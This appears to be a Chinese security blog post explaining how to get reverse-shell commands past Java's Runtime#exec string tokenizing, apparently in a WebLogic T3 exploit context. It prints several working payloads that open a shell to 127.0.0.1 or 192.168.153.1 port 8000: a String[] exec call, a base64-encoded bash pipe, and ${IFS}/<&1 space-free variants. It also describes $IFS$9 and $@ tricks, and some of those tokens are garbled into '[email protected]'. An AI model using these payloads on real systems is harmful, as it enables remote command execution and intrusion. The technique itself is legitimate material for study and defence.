前面我们已经详细的跟进了一下JDK下Runtime#exec下的源码,知道了在使用Runtime.getRuntime().exec
方法这个方式进行命令执行的最终会来到ProcessBuilder#start
方法中进行命令执行
而我们可以观察到在ProcessBuilder
类的构造方法中
针对传入的参数,限制了只能传入一个List
对象或者一个数组
所以响应的Runtime#exec
在传入的是一个字符串的时候,将会在将命令传入ProcessBuilder
类之前,根据其中的逻辑进行分割成数组进行传入
但是在这种情况下,将会导致在执行一些bash命令的时候将命令的本意给更改,会造成命令执行不成功的情况
这里就是通过Fuzzing等手段进行Bypass这种限制使得能够成功执行命令,同时列出了几种这种情况的命令执行
既然传入字符串的方式进行命令执行,会被限制,我们转而可以通过传入数组的形式进行绕过,前面也已经分析了,传入数组的方式是不会存在有分割的情况
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"})
如果限制了,只能够传入的字符串进行命令执行
这里就可以将需要执行的命令进行Base64编码,之后通过linux下的管道符进行base64解码之后进行命令执行
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAwMCAwPiYx}|{base64,-d}|{bash,-i}")
如果是既限制了必须传入字符串,又限制了命令执行的长度,上面两种方法就不太适用了
我们就需要寻找到一个能够直接传入原生的命令进行执行,这里也是本文的重点分析的点
根据之前文章的分析,主要是通过StringTokenizer
类根据\t\n\r\f
等字符进行分割的
首先我们调试下
我们希望执行的命令是bash -i >& /dev/tcp/192.168.153.1/8000 0>&1
这条命令进行反弹shell
但是经过分割得到了
这样的命令,当然不能够反弹shell
如果想要绕过,我么就需要找到在linux的bash环境下和StringTokenizer
类中的有关空格的\t\n\r\f
这些字符之间的解析差异,达到在StringTokenizer
类中不能够识别为空格,但是在bash环境中识别为空格
如果玩过CTF的朋友,就会觉得,这不就是个空格的Bypass RCE嘛
的确是的,我们根据在bash环境下的空格替代符来尝试性构造
${IFS}这个是在CTF中常用的绕过空格的一种方法,能够在bash中替代空格
我们将反弹shell命令中的所有空格都使用${IFS}
进行替代
之后T3协议发送数据包
???shell没有反弹成功??
我们转而在bash中尝试下是否能够反弹shell
不能,而且报了一个错
但是这里只需要将最后的${IFS}
去掉就能够成功在bash中反弹shell
但是,这样不能通过Runtime#exec的方法进行shell的反弹啊,我们就需要找到在这里不需要空格的方式
这里就需要对文件描述符和重定向有一定的了解了
<
: 对应标准输入
>
: 对应标准输出
2>
: 对应标准错误输出
对于反弹shell中的命令串中的
>&
就是将标准输出和标准错误输出重定向到对应文件中,而在后面的0>&1
就是将标准输入重定向到了标准输出中
在反弹shell的原理中
0>&1
和0<&1
是等价的,都达到了同一个效果--将标准输入重定向到了标准输出中
我们知道在> / <
这两个符号也变像是1 / 0这两个描述符的一种替代
我们这里就可以将0给去掉,直接使用<&1
进行将标准输入重定向标准输出中,达到同样的效果,且能够避免使用空格
综上:
可以通过/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.153.1/8000<&1
进行反弹
能够反弹shell
$IFS$9
同样可以使用这个作为分隔符进行绕过
$IFS
使用这个也可以进行绕过
在https://blog.csdn.net/whatday/article/details/107098353中
师傅找到了[email protected]
和$*
这两种方法来绕过
这两个方式都能够获取脚本文件的参数列表
在文章中给出了一个实例
/bin/bash -c '[email protected]|bash' xx echo ls
使用这种方式是能够执行ls
命令的,也就是[email protected]
获取了echo ls
然后通过管道符执行命令ls
也能够通过这种方式反弹shell